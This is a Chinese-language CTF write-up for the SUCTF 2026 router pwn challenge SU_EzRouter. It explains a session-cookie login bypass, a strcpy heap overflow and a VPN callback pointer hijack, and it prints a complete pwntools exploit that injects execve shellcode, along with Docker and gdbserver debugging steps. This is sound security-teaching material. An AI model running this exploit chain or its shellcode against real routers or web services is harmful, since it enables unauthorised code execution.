2026SU_EzRouter

这个题目我们搭建完本地之后,先分析一下本地启动方式

下面这里主要是启动了mainproc以及http两个程序

#!/bin/bash

# Ensure sessions directory exists
mkdir -p /app/tmp/sessions

# Start the main backend process in the background
echo "Starting mainproc..."
./mainproc &

# Give mainproc a moment to initialize (e.g., set up message queues)
sleep 2

# Start the Web Server in the foreground on port 80
echo "Starting http server on port 80..."
./http 80

然后我们最后的目标是mainproc里的这个函数

unsigned __int64 Apply_VPN()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  if ( vpn_list && *(_QWORD *)(vpn_list + 16) )
  {
    puts("[*] Triggering VPN Callback...");
    (*(void (__fastcall **)(__int64))(vpn_list + 16))(vpn_list);
  }
  return v1 - __readfsqword(0x28u);
}

这里之前是有一个检查,这里需要我们set一下,之后再劫持指针。这里需要注意一下层级关系,我们劫持的是堆块的上的,不是全局变量的

  • vpn_list[0](全局指针,初始是 NULL)
  • vpn_list[0] -> struct vpn_config_req
  • struct + 0x10 才是 apply_cb 函数指针(你反编译里 vpn_list+16 看到的就是这个)

然后ai给出一下更加详细的解释

• 对,默认利用链里劫持的是堆块里的函数指针,不是直接改全局变量本身。

具体是:

  • 全局变量 vpn_list[0] 只是“指向那个堆对象”的入口(src/www/mainproc.c:64)。
  • 被劫持的是 struct vpn_config_req 里的 apply_cb 字段(偏移 0x10)(src/www/
    mainproc.c:42)。
  • Apply_VPN() 最后调用的是 vpn_list[0]->apply_cb(vpn_list[0])(src/www/
    mainproc.c:163)。

这个是我们利用这个题目的最终的利用点

第一步:登录

之后我们分析http文件,这个是cgi输出可以被接受的原因,这里在execve之前,提前提前对fd进行了dup转化,效果的是转发到了对应的客户端。

      get_header_value(p_buf, "Content-Length", nptr, 64);
      get_header_value(p_buf, "Content-Type", p_nptr, 256);
      get_header_value(p_buf, "Cookie", buf__1, 1024);
      v9 = atoi(nptr);
      buf_1 = strstr(p_buf, "\r\n\r\n");
      if ( buf_1 )
        buf_1 += 4;
      if ( pipe(pipedes) >= 0 )
      {
        pid = fork();
        if ( !pid )
        {
          close(pipedes[1]);
          dup2(pipedes[0], 0);
          dup2(fd, 1);
          snprintf(s, 0x80u, "REQUEST_METHOD=%s", s1);
          snprintf(s_, 0x80u, "CONTENT_LENGTH=%d", v9);
          snprintf(s__1, 0x200u, "CONTENT_TYPE=%s", (const char *)p_nptr);
          snprintf(s__2, 0x800u, "HTTP_COOKIE=%s", buf__1);
          snprintf(s__3, 0x800u, "QUERY_STRING=%s", buf_);
          snprintf(s__4, 0x1040u, "SCRIPT_FILENAME=%s", file);
          envp[0] = s;
          envp[1] = s_;
          envp[2] = s__1;
          envp[3] = s__2;
          envp[4] = s__3;
          envp[5] = s__4;
          envp[6] = "SERVER_PROTOCOL=HTTP/1.1";
          envp[7] = "GATEWAY_INTERFACE=CGI/1.1";
          envp[8] = "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin";
          envp[9] = 0;
          argv[0] = file;
          argv[1] = 0;
          execve(file, argv, envp);
          exit(1);
        }

我们通过分析login.cgi文件,主要逻辑如下:

  s1 = getenv("REQUEST_METHOD");
  if ( s1 && !strcmp(s1, "POST") )
  {
    nptr = getenv("CONTENT_LENGTH");
    if ( nptr )
    {
      n = atoi(nptr);
      if ( n > 0 )
      {
        ptr = malloc(n + 1);
        if ( ptr )
        {
          fread(ptr, 1u, n, _bss_start);
          *((_BYTE *)ptr + n) = 0;

下面是通过之后会输出数据

          for ( s1_1 = strtok((char *)ptr, "&"); s1_1; s1_1 = strtok(0, "&") )
          {
            if ( !strncmp(s1_1, "username=", 9u) )
            {
              urldecode(s1_, s1_1 + 9);
            }
            else if ( !strncmp(s1_1, "password=", 9u) )
            {
              urldecode(s1__1, s1_1 + 9);
            }
          }
          free(ptr);
          puts("HTTP/1.1 302 Found\r");
          puts("Content-Type: text/html\r");
          if ( !strcmp(s1_, "normaluser") && !strcmp(s1__1, "yhyyyyyyyyyyyhyhuityrscdn") )
          {
            puts("Location: /www/http?auth=1&action=login\r\n\r");
            puts("<html><script>window.location.href='/www/http?auth=1&action=login';</script></html>");
          }

这里客户端打印的信息才会被http再次接收到,之后的话是走这个路径建立session,这里也就意味着我们可以直接通过伪造的方式完成这一步。

unsigned __int64 __fastcall handle_action(__int64 fd, const char *buf)
{
  int v2; // ebx
  __pid_t pid; // eax
  int v4; // ebx
  int v5; // r13d
  int v6; // r12d
  int v7; // eax
  size_t n; // rax
  size_t n_1; // rax
  char *v11; // [rsp+18h] [rbp-D88h]
  FILE *stream; // [rsp+28h] [rbp-D78h]
  char s[64]; // [rsp+30h] [rbp-D70h] BYREF
  char filename[256]; // [rsp+70h] [rbp-D30h] BYREF
  char dest[1024]; // [rsp+170h] [rbp-C30h] BYREF
  char haystack[1024]; // [rsp+570h] [rbp-830h] BYREF
  char bufa[1032]; // [rsp+970h] [rbp-430h] BYREF
  unsigned __int64 v18; // [rsp+D78h] [rbp-28h]

  v18 = __readfsqword(0x28u);
  strncpy(dest, buf, 0x3FFu);
  dest[1023] = 0;
  v11 = strchr(dest, 63);
  memset(haystack, 0, sizeof(haystack));
  if ( v11 )
  {
    *v11 = 0;
    strncpy(haystack, v11 + 1, 0x3FFu);
  }
  if ( strstr(haystack, "action=login") )
  {
    if ( strstr(haystack, "auth=1") )
    {
      v2 = time(0);
      pid = getpid();
      srand(v2 ^ pid);
      v4 = rand();
      v5 = rand();
      v6 = rand();
      v7 = rand();
      snprintf(s, 0x40u, "%08x%08x%08x%08x", v7, v6, v5, v4);
      snprintf(filename, 0x100u, "./tmp/sessions/%s", s);
      stream = fopen(filename, "w");
      if ( stream )
      {
        fwrite("normaluser", 1u, 0xAu, stream);
        fclose(stream);
      }
      snprintf(
        bufa,
        0x400u,
        "HTTP/1.1 302 Found\r\nSet-Cookie: session_id=%s; Path=/; HttpOnly\r\nLocation: /control.html\r\n\r\n",
        s);
      n = strlen(bufa);
      send(fd, bufa, n, 0);
    }
    else
    {
      n_1 = strlen("HTTP/1.1 302 Found\r\nLocation: /index.html\r\n\r\n");
      send(fd, "HTTP/1.1 302 Found\r\nLocation: /index.html\r\n\r\n", n_1, 0);
    }
  }
  else
  {
    send_error((unsigned int)fd, 400, "Bad Request");
  }
  return v18 - __readfsqword(0x28u);
}

伪造完成之后,就会进入到这个页面

      if ( stream )
      {
        fwrite("normaluser", 1u, 0xAu, stream);
        fclose(stream);
      }
      snprintf(
        bufa,
        0x400u,
        "HTTP/1.1 302 Found\r\nSet-Cookie: session_id=%s; Path=/; HttpOnly\r\nLocation: /control.html\r\n\r\n",
        s);
      n = strlen(bufa);
      send(fd, bufa, n, 0);

炸裂对应的bufa里面的内容是

  HTTP/1.1 302 Found\r\n
  Set-Cookie: session_id=463abdd41b430937621066fe459fb662; Path=/; HttpOnly\r\n
  Location: /control.html\r\n
  \r\n

之后这个还是会进行一次跳转

之后通过下面这个指令发送给客户端

send(fd, bufa, n, 0);

之后客户端默认跳转,效果也就是下面

之所以感觉比较迷,是因为客户端的浏览器有很多默认策略

这里补充一下客户端的理解(确实是对客户端有很大偏见)

  • 你跑 python exp.py 时,客户端就是 Python 进程里的 requests.Session
  • 你用 curl 时,客户端就是 curl 进程。
  • 你用浏览器打开页面时,客户端就是浏览器进程。

第二步:由漏洞点往前推

unsigned __int64 __fastcall dispatch_action(_QWORD *p_s)
{
  __int64 n1947348736; // rax
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( !p_s )
    return v3 - __readfsqword(0x28u);
  printf("[DEBUG] Recv Message | Type: 0x%lx | Data Len: %d\n", *p_s, *((_DWORD *)p_s + 2));
  n1947348736 = *p_s;
  if ( *p_s == 0xE6133F10LL )
  {
    Edit_VPN_Custom((__int64)p_s);
    return v3 - __readfsqword(0x28u);
  }
  if ( n1947348736 > 0xE6133F10LL )
    goto LABEL_23;
  if ( n1947348736 == 0x96E7FF60LL )
  {
    Apply_VPN();
    return v3 - __readfsqword(0x28u);
  }

这里我们需要我们的这个参数是0x96E7FF60是这个,这样才能调用我们的apply_vpn这个函数

再往前推的话是这个,这里是要求我们要通过CFG_SET去进行调用的

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  _QWORD s[516]; // [rsp+10h] [rbp-1020h] BYREF

  s[515] = __readfsqword(0x28u);
  if ( argc > 1 && !strcmp(argv[1], "-d") && daemon(1, 0) < 0 )
  {
    perror("daemon");
    exit(1);
  }
  setvbuf(_bss_start, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  while ( 1 )
  {
    memset(s, 0, 0x1010u);
    if ( (unsigned int)CFG_GET(0, (__int64)s, 0x1010) == -1 )
      usleep(0x186A0u);
    else
      dispatch_action(s);
  }
}

也就是对应的vpn.cgi里的这个函数,而调用这个的话和login.cpi的原理的一样

参照下面这个格式构造即可

{"action":"apply"}

            else if ( !strcmp(s, "apply") )
            {
              p_s = 1;
              CFG_SET(0x96E7FF60LL, &p_s, 4);
              printf("{\"status\": \"success\", \"message\": \"VPN connected successfully.\", \"data\": \"%s\"}\n", v11);
            }

我们再利用一下堆布局劫持一下这个指针,就能跳转执行我们的shellcode

第三步:堆布局

ai给我们梳理出来的逻辑

  • Set_VPN 先 malloc(0xf0) 创建 vpn_config_req(custom_ptr 在偏移 +0xe8,apply_cb 在
    +0x10)。
  • 然后连续 strcpy 把输入拷到这个堆对象里(action/name/proto/server/user/pass)。
  • 输入来自 vpn.cgi,它的解析允许“刚好填满字段长度时不补 \0”,于是 strcpy 会跨字段继续
    写,能打到 custom_ptr。
  • Edit_VPN_Custom 接着做 memcpy(vpn_list[0]->custom_ptr, payload, len),这就是写原语。
unsigned __int64 __fastcall Edit_VPN_Custom(__int64 p_s)
{
  int n; // eax
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( vpn_list && *(_QWORD *)(vpn_list + 232) )
  {
    n = *(_DWORD *)(p_s + 8);
    if ( *(unsigned __int16 *)vpn_list <= n )
      n = *(unsigned __int16 *)vpn_list;
    memcpy(*(void **)(vpn_list + 232), (const void *)(p_s + 12), n);
    puts("[*] VPN Custom Options Updated.");
  }
  return v3 - __readfsqword(0x28u);
}
  • Apply_VPN 最后 call [vpn_list[0]+0x10],触发函数指针劫持。


第四步:编写exp

首先我们获取session的id

from pwn import *
import requests
import sys

context.log_level = "info"

BASE = "http://127.0.0.1:8080"

# 1) 触发登录绕过,拿 Set-Cookie
url = BASE + "/www/http?action=login&auth=1"
r = requests.get(url, allow_redirects=False, timeout=5)

log.info("bypass status = %d" % r.status_code)
log.info("response headers = %s" % dict(r.headers))

set_cookie = r.headers.get("Set-Cookie", "")
if "session_id=" not in set_cookie:
    log.failure("no session_id in Set-Cookie")
    sys.exit(1)

# 2) 提取 session_id
sid = set_cookie.split("session_id=")[1].split(";")[0]
log.success("session_id = %s" % sid)

# 3) 带 cookie 访问受保护页面,验证绕过是否成功
cookies = {"session_id": sid}
r2 = requests.get(BASE + "/control.html", cookies=cookies, allow_redirects=False, timeout=5)

log.info("control status = %d" % r2.status_code)
if r2.status_code == 200:
    log.success("session bypass ok")
else:
    log.failure("session bypass failed")

返回的结果如下

[*] bypass status = 302
[*] response headers = {'Set-Cookie': 'session_id=448278df3bce0a6d2417e0a036f01f3f; Path=/; HttpOnly', 'Location': '/control.html'}
[+] session_id = 448278df3bce0a6d2417e0a036f01f3f
[*] control status = 200
[+] session bypass ok

之后我们申请完成堆风水的操作即可

最终exp

pass=0x20 + shellcode + cert + edit/apply

from pwn import *
import requests
import sys
import base64

context.log_level = "info"
context.arch = "amd64"

BASE = "http://127.0.0.1:8080"

# 1) 触发登录绕过,拿 Set-Cookie
url = BASE + "/www/http?action=login&auth=1"
r = requests.get(url, allow_redirects=False, timeout=5)

log.info("bypass status = %d" % r.status_code)
log.info("response headers = %s" % dict(r.headers))

set_cookie = r.headers.get("Set-Cookie", "")
if "session_id=" not in set_cookie:
    log.failure("no session_id in Set-Cookie")
    sys.exit(1)

# 2) 提取 session_id
sid = set_cookie.split("session_id=")[1].split(";")[0]
log.success("session_id = %s" % sid)

# 3) 带 cookie 访问受保护页面,验证绕过是否成功
cookies = {"session_id": sid}
r2 = requests.get(BASE + "/control.html", cookies=cookies, allow_redirects=False, timeout=5)

log.info("control status = %d" % r2.status_code)
if r2.status_code == 200:
    log.success("session bypass ok")
else:
    log.failure("session bypass failed")
    sys.exit(1)

# 4) 可选探活:先打一个受保护接口
r3 = requests.post(
    BASE + "/cgi-bin/wifi.cgi",
    data={"action": "save", "ssid": "1", "password": "2"},
    cookies=cookies,
    timeout=5,
)
log.info("wifi = %s" % r3.text)

# 5) 堆风水:连续添加 7 个 blacklist
for i in range(7):
    r4 = requests.post(
        BASE + "/cgi-bin/list.cgi",
        data={"action": "add_black", "idx": str(i), "mac": "123", "note": "123"},
        cookies=cookies,
        timeout=5,
    )
    log.info("list %d = %s" % (i, r4.text))

# 6) 必须先 set 一次 VPN,创建并污染 vpn_list[0]
# 关键点:pass 长度必须是 0x20,才能让 strcpy 越界覆盖 custom_ptr
shellcode = asm(shellcraft.execve("/bin/sh", ["/bin/sh", "-c", "cat flag > ./www/flag.html"], 0))
custom_raw = shellcode.ljust(0x7EB, b"\x90") + b"\x00"
custom_b64 = "B64:" + base64.b64encode(custom_raw).decode()
cert_raw = b"\x00\xe9\xf2\x00\x00\x00"
cert_esc = "".join("\\x%02x" % b for b in cert_raw)

vpn_set = {
    "action": "set",
    "name": "1",
    "proto": "openvpn",
    "server": "2",
    "user": "3",
    "pass": "4" * 0x20,
    "cert": cert_esc,
    "custom": custom_b64,
}
r5 = requests.post(
    BASE + "/cgi-bin/vpn.cgi",
    json=vpn_set,
    cookies=cookies,
    timeout=5,
)
log.info("vpn set = %s" % r5.text)

# 7) edit:覆盖回调低位
raw = b"\x21\x5c"
vpn_edit = {
    "action": "edit",
    "custom": "B64:" + base64.b64encode(raw).decode(),
}
r6 = requests.post(
    BASE + "/cgi-bin/vpn.cgi",
    json=vpn_edit,
    cookies=cookies,
    timeout=5,
)
log.info("vpn edit = %s" % r6.text)

# 8) apply:触发回调
vpn_apply = {"action": "apply"}
r7 = requests.post(
    BASE + "/cgi-bin/vpn.cgi",
    json=vpn_apply,
    cookies=cookies,
    timeout=5,
)
log.info("vpn apply = %s" % r7.text)

# 9) 看结果
r8 = requests.get(BASE + "/flag.html", timeout=5)
log.info("flag status = %d" % r8.status_code)
print(r8.text)

最后问了一下这个和真实的路由器的区别,发现是更加复杂的

  - 真实硬件和内核支持:网卡/交换芯片/无线芯片驱动都要匹配。
  - 网络转发链路:IP forwarding、NAT、防火墙(iptables/nftables)、路由策略。
  - 无线与接入服务:hostapd、wpa_supplicant、DHCP/DNS(如 dnsmasq)。
  - 持久化和启动体系:配置管理(类似 UCI)、开机脚本、升级机制、故障恢复。
  - 安全与稳定性:权限隔离、认证、抗攻击、资源管理。
  - wifi 在这里主要是写内存配置,不会真正配置无线接口(见 /D:/Users/Lenovo/Desktop/
    Router/SUCTF-2026_repo/pwn/SU_EzRouter/src/www/mainproc.c:73)。
  - vpn apply 在这里本质是触发回调函数,不是完整 VPN 建链流程(见 /D:/Users/Lenovo/
    Desktop/Router/SUCTF-2026_repo/pwn/SU_EzRouter/src/www/mainproc.c:159)。
  - 没有完整的转发/NAT/防火墙/路由守护进程链路。

  所以结论是:管理后台很相近,真实路由转发能力还不相近。

最后补充一下这种dockerfile容器烈类型的调试吧,一般是通过gdbserver

通过这个方式启动docker

  docker rm -f su_ezrouter
  cd firmware
  docker build --build-arg INSTALL_DEBUG_TOOLS=1 -t su_ezrouter_dbg .
docker run --rm -it --name su_ezrouter -p 8080:80 -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined su_ezrouter_dbg
用下面这个就不用自动删容器
 docker run -it --name su_ezrouter -p 8080:80 -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined su_ezrouter_dbg

安装gdbserver

docker exec -it su_ezrouter sh -lc "apt-get update && apt-get install -y gdbserver"

附加进程

docker exec -it su_ezrouter sh -lc 'gdbserver 0.0.0.0:1234 --attach $(pgrep -x mainproc)'

或者用下面这个

docker exec -it su_ezrouter sh -lc 'pgrep -a -x mainproc || ps -ef | grep -E "[m]ainproc|[h]ttp"'

或者直接删掉容器重新启动

这里对的话需要费点时候,最好是在构建的时候就安装上这个gdbserver

docker rm -f su_ezrouter
docker run --rm -it --name su_ezrouter -p 8080:80 -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined su_ezrouter_dbg

最好的是先停掉进程看看

docker stop su_ezrouter
docker start su_ezrouter

本机开 gdb 连接

gdb -q firmware/mainproc

之后输入即可

  target remote 127.0.0.1:1234
  b Set_VPN
  b Edit_VPN_Custom
  b Apply_VPN
  c

之后的效果如下

我们这里关闭aslr进行调试,因为这里是需要爆破单字节的

docker run -it --name su_ezrouter -p 8080:80 -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --entrypoint /bin/bash su_ezrouter_dbg -lc 'mkdir -p /app/tmp/sessions; setarch $(uname -m) -R ./mainproc & sleep 2; exec ./http 80'
docker exec -it su_ezrouter sh -lc 'gdbserver 0.0.0.0:1234 --attach $(pgrep -x mainproc)'
docker stop su_ezrouter
docker start su_ezrouter

开启aslr调试之后的效果是这样的

调用链是这样的

之后执行shellcode之后访问/flag.html即可打印出来

反思

这个题目的看着很复杂,简化之后无非还是对于堆以及指针劫持的考点,但是套了很多很多壳,在没有ai的情况是根本做不出来的,幸亏有ai可以手把手帮助我们给我们找错误